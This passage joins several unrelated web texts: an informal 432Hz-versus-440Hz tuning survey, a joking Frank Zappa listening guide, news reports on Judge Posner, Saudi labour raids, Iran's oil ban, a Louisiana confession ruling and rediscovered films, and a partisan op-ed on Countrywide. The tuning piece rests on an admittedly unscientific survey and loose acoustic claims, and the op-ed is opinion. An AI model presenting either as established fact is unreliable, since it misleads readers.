more movement, more energy, and I was lost in the swirls of the waves. It was more energetic, perhaps potentially more unsettling, but with this piece I was lost more in the beats of the overtones...more rounded, less angular." Overall, the reactions were pretty varied. And the data around 432 didn’t reveal it to be this transformative and magical sound, but the majority surveyed in set 1 at 432 stated that it was very calming and relaxing. In fact, 83% said they felt calm at 432, while 80% did for 440. A majority, 77.7%, in 432, however, claimed to see dark shades, (black, brown, blue and purple) while during 440, 60% said they saw greens, yellow, red, amber and orange. I think that’s interesting because 432 is definitely a little darker, a little more mysterious. That said, the unease experienced by 44.4% of those surveyed during the 432 set, could perhaps be a reaction by the parasympathetic nervous system to the foreign sonics of 432hz. The descriptions about mood during 432 found a majority siting “contemplative, calm, pondering and relaxed.” The shapes audience members experienced during 432 and some in 440 were described as round, oval and tunnel-like. Shape description for 440 was similar to 432 although some described more triangles and jaggedness. Here’s two tables of percentages showing the moods experienced during 432 and 440. Calm was the most cited emotion. 1st set at 432hz RESPONSE: Percentage of the 18 surveyed who felt this way Discomfort: 27.7 Restlessness: 44.4 Irritated: 11.11 Calm: 83.33 Pain: 16.66 Sadness: 22.22 Numbness: 38.88 Lethargy: 38.88 Panic: 5.55 Relaxed: 61.1 Happiness: 16.6 2nd set at 440hz RESPONSE: Percentage of the 15 surveyed Discomfort: 20 Restlessness: 40 Irritated: 13.33 Calm: 80 Pain: 6.66 Sadness: 6.66 Numbness: 13.33 Lethargy: 13.33 Panic: 6.66 Relaxed: 73.33 Happiness: 46.66 With all this in mind, through my own research and conducting this demo, I have concluded that 432hz and the harmonic structure relative to it delivers warmer tones that seem more receptive to blending as a harmony. The sound, and this is a fact, is moving slower per second, which may explain its calmer vibration. The fact that calm was the top-sited emotion during both sets tells me that 432 and 440 both have the power to affix and transform the listener. Then again, 7% more people cited discomfort during 432, not to mention that sadness was higher in 432. Maybe 432 has more significant extractive power. I’m not sure, in fact I don’t know if any of these claims about 432 carry any weight other than the scientific fact that they’re moving slower and are lower. I keep looking at the charts going, hmmm….I don’t think there’s anything to this debate, at least based on my mostly unscientific data collection, all despite the fact that I prefer 432. I tried to control the variables as much as possible to get honest reactions. That said, I think what it comes down to is the individual. We all vibrate differently. The middle pitch you choose should simply be about what works for you. I’ve always been into lower registers, especially being a bass player, and thus I favor 432. The fact that happiness was cited by almost half during 440 versus not even a quarter for 432 tells me that there’s a reason 440 is the middle pitch of pop and classical. It’s like candy for musicians and listeners. 432 is a more savory area and definitely, at least in my ears, more mysterious. I’ll continue using 432 structures as much as possible. I love how sine tones sound in this range. 440 is just too high for me. I’ll keep tuning my bass to around 436. 440 is not for me. The question is, what is best for you? I suggest finding out. -You are about to read something very straight, sober, and serious, without a soupcon of hyperbole: Frank Zappa was the God of Music, and while lesser talents than he (all of them) be wise and inspired in the way of music, Zappa was actual divinity. No, wait, this isn't coming off right. Let's say it like this: We could pick the highest, hottest, and moodiest volcano on planet earth. We could carve Zappa's likeness into it, soul-patch and Pancho-Villa mustache and all. And we could dedicate it as the altar to Zappa. And if we did that, and then every day at the first ray of sunrise, a naked virgin ran up the side of that volcano and flung herself screaming into its searing heart as an offering to Zappa, and if we continued to do that for all of eternity, we would never have paid sufficient due to the God of Music for gracing humanity with his perfection. But anyway, we could go on all day. but you're a busy reader, so we'll get right to the point: Because Zappa left such a huge, mind-bogglingly vast body of musical works behind, newcomers to Zappa are often perplexed. They always ask something more or less along the snout of "Which songs should I listen to first?" This is an important and vital question, because when you pick the wrong songs to listen to first without getting advice from any of your peers, it makes your head melt into orange goo and stick to the carpet. The music police crash through your breakfast nook and haul you away. Your dog will never speak to you again. Anyway, because the social media generation doesn't wipe its butt without consulting five Facebook pals on the direction of wiping and how many sheets to use, we will engage in a futile practice known as an "FAQ", a document with the definitive answer to a frequently asked question which, once set down for the search spiders to find, will be ignored for all of eternity by social media users who will continue to repost the same dumb questions again anyway. So... A Beginner's Introduction To Frank Zappa. Follow these instructions carefully, listening to the songs in this exact order: From Strictly Commercial: "I'm the Slime" - Keep repeating the song until you can come out of a dead standstill and lip-sync the mid-point line "That's right folks, don't touch that dial!" flawlessly. "Let's Make The Water Turn Black" - For this one, silently use your imagination to conjure up the kind of TV sitcom that this would be the opening theme to. Would it have a "couch gag" like the Simpsons had? Also marvel at how some idiot on the PMRC thought that the line "mama with her apron and her pad" referred to a hooker wearing a maxi pad. Now from Sheik Yerbouti: "Jewish Princess" - Repeat until you know all the words, until you can sing along out the car window at the top of your lungs. "Wild Love" and "Yo' Mama" - Get the baby doll voice down. Now from Broadway the Hard Way: "Planet of the Baritone Women" Now go back to Sheik Yerbouti: "What Ever Happened to All the Fun in the World" - Repeat until you can mime along to every sound effect. Now for We're Only in It for the Money: This is your first entire album all by yourself. Do not take drugs, repeat, do not take drugs. Just play the entire album in order on a loop. Do this for days. Revisit your old friend "Let's Make The Water Turn Black" now in context. Space out on the reprise "What's the Ugliest Part of Your Body?" On the third replay, follow along both sides of the mumbling at the end of "Flower Punk" (the two monologues are on different speakers; do NOT cheat and fool with the balance). Wherever you are in your day, drop everything and slip into a choreographed soft-shoe at "Bow Tie Daddy". Next stop: Shut Up 'n Play Yer Guitar This is a triple album and it's all instrumental, not a word out of his mouth, so you're challenged here. This time, it is important that you do the opposite of what we've been telling you to do and listen to the songs IN THE ORDER OF YOUR CHOOSING. Do not listen to all three albums all the ways through, this is dangerous stuff. Make up your own little track-hopping pattern. Keep it secret. It's your password in the afterlife. Now back to Strictly Commercial: First play "San Ber'dino", then "My Guitar Wants to Kill Your Mama", and then "Trouble Every Day". This time, your exercise is to ponder how you would fit all three songs into the soundtrack of your own film. Would it be a '70s-style car-chase caper? A zombie flick? A bank-robbery heist? Fit action scenes to tempos, and pick another song on this album for the opening and closing credits. Now you're ready to advance to level two: Piquantique, another all-instrumental one. Just play the whole thing a couple of times - like Captain Beefheart (who was Zappa's colleague and sometime collaborator), it sound random at first and then it comes together and makes sense. You can replay your favorite track a couple of times. Next: The Yellow Shark album. Again, buzz through it a couple of times. Replay a track if you fancy it. You're at an advanced level, so you can stop following track order safely about here. These are the orchestral pieces Zappa wrote, and it was the last album released before Zappa was called back to the Heavens, to which he bodily ascended from the roof of the Fillmore. Now freely pick any double-album from the You Can't Do That on Stage Anymore series. Just sit back and cruise. You will recognize several songs and pieces by now, but in different form. That's because, like The Grateful Dead, Zappa and his orchestra never quite played the same piece the same way twice. You'll also notice about this point that he liked to design modular pieces. One song might serve as another song's ending over here, and be its own stand-alone piece over there. And still other instrumental bits are all-purpose transitions between any two songs. Don't break your brain trying to separate each piece. Even advanced Zappa scholars can't keep up with every wily trick. OK, that's a pretty smooth take-off. From hereon, oh happy-happy day, you're ready to listen to ANYTHING after just one! more! album! Freak Out! - The whole thing, start to finish. Read the liner notes - reverently. This was the very first album Frank Zappa ever released, and from here you can clearly see his roots. Ponder the influence of doo-wop, blues, avant-garde, bebop, classical, jazz, and all, and study each of the forms on this album. Later on, if you can ever stand to listen to another artist again as long as you live, take some time to look up some of the influences he lists there. That's it! You're a level 3 Zappa fan! Now just keep picking things at random. but remember to be careful exposing this stuff to others. Except minors: children can safely listen to anything by Zappa, because they are still pure and innocent and their minds are not welded shut by the boring conformist tedium of the anthill we call society. Related: Frank Zappa Song Meanings -Chensiyuan/Wikimedia Commons. Judge Richard Posner of the 7th Circuit Court is a moderate conservative with an unapologetic bias toward reality and logic. This bias makes him an ideal Slate columnist. It has also turned him into something of an iconoclast among his conservative colleagues, who frequently jettison prudence and precedent in order to achieve results that just happen to align with the Republican Party’s platform. Mark Joseph Stern Mark Joseph Stern covers courts and the law for Slate. On Tuesday, Posner put his judicial independence front and center during marriage equality oral arguments at the 7th Circuit. While lawyers for Wisconsin and Indiana attempted to defend their state’s marriage bans, Posner issued a series of withering bench slaps that unmasked anti-gay arguments as the silly nonsense that they are. Reading this string of brutal retorts is fun enough—but it’s even better to listen to them delivered in Posner’s own distinctive cadence. With the help of my Slate colleague Jeff Friedrich, I’ve collected the most exhilarating, satisfying, and hilarious of the bunch. Advertisement Round 1: Posner vs. Indiana “It’s a matter of indifference to you?” Many of Posner’s sharpest inquiries revolved around the question of same-sex adoption. Thousands of gay couples in both Indiana and Wisconsin are raising children, which the state permits them to do. Given this reality, Posner asks Indiana Solicitor General Thomas Fisher, isn’t allowing gay marriage “better for the psychological health or the welfare” of gay people’s kids? Allowing same-sex parents to get married, after all, would bring them and their children a plethora of benefits. Fisher’s noncommittal answer, which bordered on callousness, brought out one of Posner’s harshest rebukes. “Would you criminalize fornication?” Advertisement After asking Fisher why Indiana shouldn’t just “criminalize fornication” in order to deal with its “unintended child problem,” Posner returned to the child question, demanding of Fisher, “Why do you prefer heterosexual adoption to homosexual adoption?” When Fisher struggles to respond, Posner sighs, “Come on now. You’re going in circles.” He then asks why Indiana wants to punish children because “their parents happen to be homosexual.” “Why does Indiana let sterile people marry?” Posner points out that Indiana allows both sterile people and first cousins (over the age of 65) to marry. If marriage is all about biological reproduction, Posner wonders, aren’t these policies irrational? Fisher errs at first, claiming, “We don’t allow incest.” When corrected, he founders. “You should be wanting to enlist people as adopters.” Advertisement Returning to the question of adoption, Posner asks Fisher: “Isn’t it much better for kids to be adopted? But if you allow same-sex marriage, you’re going to have more adopters, right? … You should be wanting to enlist people as adopters.” He then calls Indiana’s arguments “pathetic.” “You haven’t read this? You don’t remember it? It didn’t make an impression?” Toward the end of Posner’s colloquy with Fisher, he discusses an amicus brief by the Family Equality Council that discusses the demeaning effects of gay marriage bans on same-sex families. Posner asks Fisher whether he’s read the brief, noting that “it has a great deal of rather harrowing information.” Fisher waffles; Posner brings down the hammer. Round 2: Posner vs. Wisconsin Advertisement “You have no idea.” Posner’s first question to Wisconsin Assistant Attorney General Timothy Samuelson is simple: Why doesn’t Wisconsin permit joint adoption by same-sex couples? Samuelson has no answer. Posner is not pleased. “How can tradition be a reason for anything?” Samuelson attempts to argue that Wisconsin’s tradition of allowing only opposite-sex marriage is a rational basis for barring same-sex couples from the institution. Posner sinks in his claws, drawing painful, direct parallels between the current case and Loving v. Virginia. The racists who opposed interracial marriage, Posner notes, “make the same arguments you would make.” What’s the difference? When Samuelson releases a bizarre string of nonsense about common law, Posner audibly mutters, “Oh no.” Advertisement “That’s feeble.” Posner refuses to let Samuelson wiggle out of his Loving problem. “You argue that democracy insulates legislation from constitutional invalidation,” he chides Samuelson. “You have to have something better. ... That’s the tradition argument.” Sure, America has a tradition of blocking certain people from marriage. But “experience based on hate” is not a constitutionally valid argument. “Who’s being harmed? Answer my question!” In the day’s testiest exchange, Posner pushes Samuelson to identify a single rational basis for his state’s anti-gay-marriage law. Who is being helped, Posner wonders, by gay marriage bans? When Samuelson claims that “society” is helped by gay marriage bans, Posner pushes back: “How is it being helped? You’re not trying to force homosexuals into heterosexual marriage. So what is the harm of allowing these people to marry? Does it hurt heterosexual marriage? Does it hurt children?” When Samuelson’s yellow light flashes, signaling that he’s running out of time, Posner encourages him to continue. Judge Ann Claire Williams jumps in, informing Samuelson that the light “won’t save you.” The courtroom erupts in laughter. A defeated Samuelson responds, “It was worth a shot.” “You have no idea?” -NIH awards $1.8 million to Magnetic Insight for neurovascular MPI Detects magnetic nanoparticle tracers, enable deep-tissue imaging One in five US rural hospitals are at high risk of shutting down: study Forging partnerships with academic providers may help Kaiser Permanente School of Medicine to go tuition-free for first 5 years Aiming to reduce impact of debt on graduating students Asheville Radiology Association joins Strategic Radiology The latest expansion by the imaging coalition brings 43 new physicians to the table Maybe competition is good for what 'ails' hospitals Mergers may be good for business, but what about patients? MITA proposes framework for defining 'service' versus 'remanufacturing' Also points to the need for quality management systems to be implemented Radiologists key in identifying intimate partner violence IPV victims undergo four times more imaging exams than the general population RI ED physicians subpoenaed over imaging order errors Three scans on wrong side, one on wrong patient Now hospitals must post prices online, how is that working out? Complex figures and codes, and little insight into out-of-pocket costs Rosemary Shull AMRA Medical welcomes senior vice president of global business development and marketing -DUBAI (Reuters) - Saudi authorities rounded up thousands of illegal foreign workers at the start of a nationwide crackdown ultimately aimed at creating more jobs for locals, media reported on Tuesday. Hundreds of thousands of workers have already left the kingdom following a grace period of seven months during which authorities told expatriates that if they did not fix their legal status they had to leave the country or face jail. The government hopes that reducing the number of illegal workers will create opportunities for Saudi job-seekers. The official Saudi unemployment rate is 12 percent but excludes a large number of citizens who say they are not seeking a job. However, the majority of the kingdom's nine million foreigners are unskilled laborers or domestic workers, jobs usually shunned by Saudis. "Since early (Monday) morning, the security campaign got off to a vigorous start as inspectors swung into action," Nawaf al-Bouq, a police spokesman, told Saudi Gazette newspaper. Police carried out raids on businesses, markets and residential areas to catch expatriates whose visas are invalid because they are not working for the company that 'sponsored' their entry into the kingdom. For a second day on Tuesday parts of the capital Riyadh were unusually empty as many expatriates stayed at home to avoid potential arrest. CHALLENGE Raising private sector employment in a country where most Saudis are in government jobs and where businesses employ more foreigners than locals is a major challenge for the kingdom. Bouq told the paper that at least 1,899 illegal workers had been arrested in the Red Sea port city of Jeddah. The paper also said police had arrested at least 2,200 people in the southwestern city of Samta, 379 in the Eastern Province and hundreds of others in other cities. In Jeddah, dozens of Indonesian workers, mostly women, staged a sit-in to pressure the authorities to hasten their deportation, according to Arab News newspaper. Many workers cannot leave the country because they lack official papers, including passports, the paper said. The remittances sent home by expatriates in Saudi Arabia are often vital for their own nations, which include Yemen, Ethiopia, the Philippines, Indonesia, India, Pakistan and Egypt. Saudi Arabia's mass expulsion of Yemeni workers in 1990 in retaliation for Sanaa's support of Iraq after it invaded Kuwait contributed to an economic collapse that accelerated the impoverished Arab country's 1994 civil war. For decades, Saudi authorities ignored irregularities such as working for firms that had not sponsored their visas or in trades other than those listed on their immigration documents. That spurred a black market in which foreigners overstayed visas, set up illegal businesses or took low-paid jobs in areas where authorities wanted Saudi workers hired on higher salaries. This thwarted implementation of wide-ranging labor reforms to penalize companies for hiring more foreigners than locals. (Reporting by Mahmoud Habboush, Editing by William Maclean and Gareth Jones) -The Louisiana Supreme Court has ordered a priest to break the seal of confession, a move his diocese called an “assault” on the Catholic faith. The court ordered Fr Jeff Bayhi, of Baton Rouge diocese in Louisiana, to tell a hearing whether he advised a young girl during confession to keep quiet about an incident of sexual abuse she said she had suffered. The ruling by the Louisiana Supreme Court that overturned a lower court’s decision and ordered a hearing on a lawsuit brought by parents of a girl who was allegedly molested by an adult man. The lawsuit compels Fr Bayhi, who is bound by canon law not to reveal what the girl confessed or what he said to her, to testify whether or not there were confessions "and, if so, what the contents of any such confessions were." Both the girl and her alleged abuser were members of Fr Bayhi’s church in the town of Clinton. The petition alleged that on three occasions in 2008 the girl, who was then 12, told Fr Bayhi that a church member had inappropriately touched her, kissed her and told her "he wanted to make love to her." The child testified during deposition that Fr Bayhi's advice to her was to handle the issue herself because "too many people would be hurt". Court documents also say that she testified, "He just said, this is your problem. Sweep it under the floor." The girl’s parents claim that the Fr Bayhi was negligent and that the abuse continued after the girl made her confession. The alleged abuser died in 2009 while undergoing a criminal investigation. The diocese, which has also been named as a defendant in the lawsuit against the girl’s alleged abuser, vigorously opposed the Supreme Court decision. In a two-page statement released on Monday it said the Church had “great compassion” for those who have “indicated an experience of such egregious misconduct”. But it added: “[The court’s decision] assaults the heart of a fundamental doctrine of the Catholic faith,” it said. “For a civil court to inquire as to whether or not a factual situation establishes the Sacrament of Confession is a clear and unfettered violation of the Establishment Clause of the Constitution of the United States.” -Image copyright Eureka Entertainment Image caption The original negatives of 1971's Wake In Fright were found just a week before they were due to be burned Three very different films thought to have been lost to audiences forever are being re-released. Here their directors tell how the movies were mislaid and then found. Wake In Fright Shot in Australia in 1969 and starring British actors Gary Bond and Donald Pleasence, Wake In Fright was Toronto-born director Ted Kotcheff's second feature and is regarded as a masterpiece of modern Australian cinema. Image copyright Eureka Entertainment I loved the kangaroos Ted Kotcheff, Director The film tells of teacher John Grant, played by Bond, who arrives in the outback mining town of Bundanyabba. Despite planning to spend just one night there before catching a plane to Sydney, he is drawn into five nights of alcohol abuse, gambling and the slaughter of kangaroos. The movie premiered at the Cannes Film Festival in 1971 where it was nominated for the Palme d'Or and its US distribution rights were sold. Retitled Outback, the feature played in cinemas for about a week before it was dropped from circulation due to poor attendances and a lack of advertising. It had a small number of screenings in the UK before vanishing without a release on VHS or DVD. Image copyright Eureka Entertainment Image caption Wake In Fright sees a teacher trapped in a cycle of binge drinking and violence Image copyright Eureka Entertainment Image caption British actor Donald Pleasence features as a troubled doctor Image copyright Eureka Entertainment Image caption The film is set against the backdrop of the Australian outback Wake In Fright fact file The film was based on a 1961 Kenneth Cook novel about a young man who lives in a place he despises, performs a job he hates and is surrounded by people he cannot stand. Its title was taken from a line in the book's foreword: "May you dream of the devil and wake in fright." Wolf of Wall Street director Martin Scorsese and singer-songwriter/film-maker Nick Cave are fans of the film. The film's negatives were thought to have been lost for more than three decades until its cinematographer, Tony Buckley, found the originals in canisters marked for destruction a week before they were due to be incinerated in the US. It has now been restored frame by frame and will be released in UK and Ireland cinemas on Friday. Kotcheff, now in his 80s and living in Mexico, said: "A fact of cinema exhibition life during the 1970s was that the original negative of a film might be housed for long periods with a film laboratory for use in generating new prints to support the distribution schedule. "These labs would generally be in Europe, Britain or the United States and sometimes the negatives would be completely overlooked once their usefulness passed. "For the National Film and Sound Archive and for Tony Buckley, the frustration of this process was that over the years the exact location of the original negative for Wake In Fright was lost. Image copyright Eureka Entertainment Image caption Wake In Fright has been restored frame by frame for re-release in cinemas "Whilst existing prints continued to be exhibited and progressively damaged beyond repair, the original source material had disappeared." For those who saw it more than 40 years ago, one of its most memorable - and disturbing - scenes involves the massacre of kangaroos. Kotcheff and his crew accompanied a real-life cull of the animals for the making of the film. The kangaroos were shot so their hides could be used for making soft toys and the meat sold for dog food. The director said: "I did not use 75% of what I filmed that night as it was too bloody and horrifying. "The Royal Australian Society for the Prevention of Cruelty to Animals kept urging me to use this footage because they wanted Australians and the world to see what was being done to kangaroos in the outback: the wholesale slaughter and carnage being committed every night. "I loved the kangaroos - I spent a lot of time with them, intimately close. They would lie around my director's chair, waiting like extras to be asked to do something." Monarch: Henry VIII Part fact, part fiction, 2000 film Monarch: Henry VIII revolves around one night after the king arrives at a manor house closed for the season. Image copyright Walsh Bros Some films are considered to be lost for all time John Walsh, Director Irish-born actor TP McKenna plays the monarch - who in this version is without the power and control of his palace - while Upstairs Downstairs actress Jean Marsh stars as an amalgamation of his ex-wives. The film has been painstakingly remastered from the original 35mm colour camera negative after it was recently discovered in a vault almost 20 years after it was originally filmed. It will be released on DVD in April. "During the shoot of Monarch my small cast and modest crew would receive daily film stock supplies directly from Kodak HQ in Hemel Hempstead," director John Walsh said. "A refrigerated van would arrive to bring us our daily ration of camera negatives. Image copyright Walsh Bros Image caption TP McKenna as Henry VIII Image copyright Walsh Bros Image caption Monarch director John Walsh and cast members TP McKenna and Mark Montgomerie "Another production was receiving a daily delivery from the same driver - Stanley Kubrick's final film, the epic 18-month shoot, Eyes Wide Shut. "When we received Mr Kubrick's invoice after a clerical error, I was shocked and amazed at the amount of the invoice - more than the total cost of my shooting budget." Walsh added: "When we located the project we found more than we bargained for with over 52 cans of various footage from film trims, cutting copies and work prints. "We didn't know if the original camera negative would be amongst all of this haul. After a close examination I was delighted to find all of the original camera negative was there and in good shape for its age." Every frame of film has been scanned in high definition and had more than 10,000 particles removed by hand. A new sound mix was also created from the original elements. Image copyright Walsh bros Image caption Jean Marsh portrays Henry's wives in Monarch Walsh said negatives mislaid or incorrectly labelled when put into storage were at risk of being lost for good. "The process of storing and preserving original materials is one that the film and TV industry is famously inept at," he said. "During this process I was surprised to find many of the 20th Century's major film titles have lost their original elements and the restoration process starts with old battered projection prints that may have been around many cinemas. "Often the original camera negatives have been lost, junked or in one famous case for the Oscar-winning Cabaret, burnt." Walsh added: "Time is against the restoration teams as many films are fading and decaying in poor storage conditions. Some films are considered to be lost for all time. "The holy grail for collectors is London After Midnight. The 1927 silent horror-mystery starring Lon Chaney and produced by MGM has not been seen for almost 50 years." Black Angel Double Academy Award winner Roger Christian attaches a great deal of luck to his debut film, Black Angel. George Lucas commissioned Christian, who won his first Oscar for his set decoration on Star Wars: Episode IV - A New Hope, to make the short to accompany the 1980 release of The Empire Strikes Back. Image copyright Roger Christian I was near death Roger Christian, Film-maker The Toronto-based Londoner shot his fantasy tale of a war-weary knight returning home from the Crusades in Scotland in the autumn. "The light in Scotland in September and October is fantastic, but because we were filming in the Highlands so late in the year there was the risk it would start snowing and bring an end to the shoot," he said. It did start snowing, but it was on the crew's last day and were on their way home to England. Other twists of good fortune included mist rolling atmospherically across the sea in a scene filmed outside historic Eilean Donan Castle in Kyle of Lochalsh. Image copyright Roger christian Image caption A scene from Black Angel Image copyright Roger Christian Image caption Roger Christian, right, with cinematographer Roger Pratt while shooting Black Angel Christian had also wanted to create a rainbow-like halo around the head of one of Black Angel's characters, but no amount of trying would make it work. However, while the film was being cut, it was discovered by chance natural light had created the sought after effect. But Black Angel's lucky streak appeared to have expired when, after The Empire Strikes Back had finished its run in cinemas worldwide, the original film prints for the 25-minute short were lost. Unsuccessful efforts were made to track down the prints at Lucas's Skywalker Ranch. Christian said: "I had my own copy, but it was degraded. I [would have] preferred Black Angel become a myth rather than show a poor quality version of it." While Black Angel was lost, it was not forgotten. Christian was frequently asked by fans at science fiction conventions and also friends such as Peter Briggs - who wrote the script for 2004's Hellboy - to re-release it. After Black Angel Roger Christian went on to win his second Oscar for his short film, The Bottom Dollar. It was also made in Scotland. Christian worked on Alien, Star Wars: The Phantom Menace and the 2000-released movie Battlefield Earth. Black Angel's cinematographer Roger Pratt went on to work on Brazil, The Fisher King, Troy and the Harry Potter movies. He had almost given up on the prints when he received a call in 2012 from a Universal Studios archivist who told him he had found them. They had ended up in the US following the collapse of UK studio Rank which, it turned out, had stored the prints along with other film negatives in World War Two bunkers. In the past few weeks, Black Angel has been given special "homecoming" screenings in Glasgow, Dundee, Inverness and Edinburgh. There are also plans to release it on Blu-Ray. Christian returned to Scotland for the first time in 34 years to attend the screenings. During his visit, he revealed how a poster of Scotland on a wall of a Mexican hospital, where he had been admitted as a patient after falling seriously ill during the making of 1970s movie Lucky Lady, inspired him to make a film in Scotland. "I was near death," he said. "For some reason on a wall in the room where I was being treated in this small, Mexican village sanatorium was a poster of Scotland. "It showed lochs. It helped me want to stay alive." -Iran has slapped a ban on oil and gas exports to the European Union, even though the EU has already forbidden Iranian petrochemicals from entering its territory. “Despite many requests by EU countries on buying oil and gas from Iran, Iran will not sell any oil and gas to those countries,” Oil Ministry Spokseman Alireza Nikzad Rahbar told the official Mehr news agency. It is not clear what “requests” Nikzad Rahbar was referring to, as the EU stopped importing crude oil in July last year, and gas under the latest round of sanctions that came into force earlier this month. It comes as fresh restrictions are being implemented by the EU, preventing Iranian banks from dealing with Europe, unless for humanitarian purposes. The embargoes are aimed at hindering Tehrans nuclear program, which Brussels believes is aimed at developing a nuclear weapon. Iran’s Central Bank’s assets in the EU have also been frozen and European shipyards cannot construct oil tankers destined for the Islamic Republic. Nikzad Rahbar said Tehran’s counter-sanctions were a direct response to these “hostile decisions”. The exact effectiveness and impact of the sanctions on Iran has been disputed, due to sketchy information coming from Tehran’s officials. The US has estimated that Iran has lost more than $40 billion in revenues as a result of oil import bans gradually imposed over the past year, mostly by Western countries. Earlier this month, Iranian oil minister Rostam Qasemi also confirmed that oil exports had fallen by 40 percent, which tallies with the US estimate. At the same time, Nikzad Rahbar insisted to Mehr that the exports hadn’t been “affected much” and that “Iran has signed new contracts with other world oil companies”. There has also been mounting speculation that Iran is circumventing the EU sanctions by setting up fronts in other countries, particularly neighboring Turkey, and exporting petrochemicals through third parties, though the scope of these transactions is unclear. Officially, Iran’s GDP contracted by 1 percent last year, while its currency lost 80 percent of its value against the dollar. Tehran insists that its nuclear program is entirely peaceful, while the US and the EU say Iran is producing ever-greater quantities of enriched uranium, which is a key component of a functioning nuclear weapon. Latest negotiations between the sides have hinged on Iran accepting a new inspection program from the UN’s nuclear watchdog, the IAEA. After continually failing to even set a date for possible negotiations, the sides are now likely to meet for talks next month. -DIGG THIS Angelo Mozilo is the Chairman, President, and Chief Executive Officer of the failed Countrywide Financial Corporation. Mr. Mozilo co-founded this company, nearly 40 years ago, in 1969. To be in business for almost forty years, and to become America’s top private home-mortgage lender, are testimonies to genuine business acumen. However, success can breed arrogance, and a sense of supreme power, to the point where a corporate chieftain believes his personal will can override the free market and reshape society according to a grand vision — which, for Angelo Mozilo, entailed making America a better country by bringing home ownership within reach of all and sundry. For Countrywide Financial, unfortunately, Mr. Mozilo’s dream of social engineering demanded that sound credit-underwriting principles be abandoned. And now, Countrywide Financial Corporation’s failure stands as a monument as to how integrating egalitarianism and political correctness, into a business plan, is downright poisonous. February 4, 2003 marks the day when Countrywide Financial’s shareholders should have dumped every last share of their stock. For on this day Angelo Mozilo made a presentation, at The Joint Center for Housing Studies of Harvard University, titled The American Dream of Homeownership: From Cliché to Mission. This is the day that Mr. Mozilo revealed to the world that political correctness had infected his mind. He openly declared that sound credit underwriting was tantamount to judgmentalism and, therefore, anti-egalitarian. How dare anyone judge anyone else — credit standards be damned. Subprime mortgages, accordingly, were going to be a blessing for America since everyone deserves a house. Oh how political correctness feels so good. He worshiped the mortgage socialism hatched in the New Deal along with every federal-housing program introduced in the succeeding decades. A true credit professional would have been horrified by this speech; which indubitably was met with approving applause by the pseudo-intellectual, limousine liberals populating Harvard University. February 4, 2003 is the day Countrywide Financial’s Board of Directors should have fired Mr. Mozilo. Over the years, Angelo Mozilo has been handsomely rewarded by Uncle Sam’s mortgage socialism. Here’s how it works. Countrywide Financial makes a conforming home loan, sells it to Fannie Mae or Freddie Mac (both are government sponsored enterprises), and has its coffers replenished in doing so; hence, allowing Countrywide to keep churning out loans. Countrywide, in turn, remains the mortgage servicer on each loan and earns a fee for doing so. These fees most certainly add up when you are servicing $1.5 trillion in home loans (not all of which are Fannie and Freddie loans). Needless to say, Countrywide had other sources of revenues but mortgage servicing was top-shelf when it came to profitability. Thus, it is no wonder why Mr. Mozilo waxed fondly, in his Harvard speech, regarding America’s foray into mortgage socialism. After all, it made him very wealthy. Here is an excerpt: Our Nation took another important step in 1938 — in fact, 65 years ago this week — when Fannie Mae was created to buy those FHA loans, and as a result, the secondary mortgage market was born. We took a few more giant steps in the 1940s with the G.I. Bill in 1944 and the Housing Act of 1949, which stated the goal of "a decent home and a suitable living environment for every American family." We witnessed the Fair Housing Act in the 60s, the creation of Freddie Mac in 1970, the expansion of Fannie Mae’s activities, the Community Reinvestment Act in the 70s, the introduction of adjustable-rate mortgages in the 80s, and more recently, the National Affordable Housing Act of 1990. We have traveled so far — thanks to a mortgage-finance system that remains the envy of the world; thanks to a constant stream of creative and innovative mortgage products, and efforts directed at encouraging the offering of loans to those who have been previously shut out; and simply put, thanks to housing being an enduring public policy objective and the lasting commitment to that objective symbolized by our partnership. We have transformed from a Nation of renters to a Nation of homeowners. The overall U.S. homeownership rate, which was at 44 percent in 1940, hit 68 percent by the end of the third quarter of 2002. One can only imagine Mr. Mozilo’s broad smile as he delivered these words. Between his compensation and stock sales, Angelo has made hundreds of millions of dollars. Socialism certainly can be beneficial for an elite few. Do you remember President George W. Bush’s initiatives to increase homeownership in the United States? His administration definitely played a role in creating America’s housing bubble. When speaking about housing assistance, President Bush evoked the emotion of envy and declared that the U.S. had a "homeownership gap." Angelo Mozilo, being a kingpin of political correctness, couldn’t resist playing the envy-card to an approving Harvard audience. He stated: It started with the New Deal, and now, we’re in a new century. But through it all, one thing has remained, more or less, constant. This constant is our challenge. And this challenge is to increase the access to affordable housing. And in order to do this, we must close the homeownership gap that still exists. As President Bush said last October: "Two thirds of all Americans own their homes, yet we have a problem here in America because fewer than half of the Hispanics and half of the African Americans own their home. That’s a homeownership gap. It’s a gap that we’ve got to work together to close for the good of our Country, for the sake of a more hopeful future. We’ve got to work to knock down the barriers…" While the number of minority homeowners has advanced recently, climbing from 9.5 million in 1994 to 13.3 million in 2001 — an increase of 40 percent — the fact remains that it is still not at a level equal to that of white homeownership. And as President Bush pointed out, the homeownership rate for African Americans is 47 percent and for Hispanic Americans it is 48 percent, a stark contrast to the homeownership rate of 75 percent for white American households. That means there is currently a homeownership gap of over 25 points when comparing white households with African Americans and Hispanics. My friends, that gap is obviously far too wide. It has been far too wide for far too long. And when adding new factors into the equation — like an influx of new immigrants or continued reduction in the supply of affordable housing — it has the potential to become far worse. Credit underwriting has nothing to do with race, creed, skin color, gender, or religion. Sound credit underwriting has everything to do with the "Five Cs" of credit — i.e., character, capacity, capital, collateral, and conditions. Under pure capitalism, a credit underwriter is not concerned about making people happy by lending money regardless of a person’s creditworthiness. An underwriter’s primary objective is to make profitable loans and this demands nothing less than effectively assessing risk on a case-by-case basis. This, undeniably, requires underwriters to exercise learned judgment. Ah, but to say this in the cradle of political correctness (Harvard) would have been met with resounding "boos." To be sure, Mr. Mozilo did not disappoint his fellow limousine liberals. He goes on the attack and smears credit underwriters as being judgmental — the antithesis of political correctness. Considering that Countrywide had become the largest private mortgage lender in the U.S., the following words depict a man who had taken leave of his senses: I have two issues with our industry’s current underwriting methodology. The first is that the automated underwriting systems kick far too many applicants down to the manual underwriting process, thereby implying these borrowers are not creditworthy; and the second issue is that once arriving in the hands of a manual underwriter, the applicant is subject to basic human judgment that can be influenced by the level of a borrower’s credit score. Let’s address my first issue. I acknowledge that credit scoring uses proven statistical methods to provide lenders with the ability to quantify the risk of extending credit. And there is little question that the technique effectively and efficiently separates those with very good credit from those with questionable credit. However, far too many borrowers are being referred to an arduous manual and cumbersome underwriting process. To me, that is clear proof that the level deemed to be an acceptable risk by our automated underwriting systems is much too high. While many of these borrowers may ultimately be approved, it is because the manual process, or human underwriter, has analyzed non-traditional factors such as the borrower’s rent and utility payment history, which should be 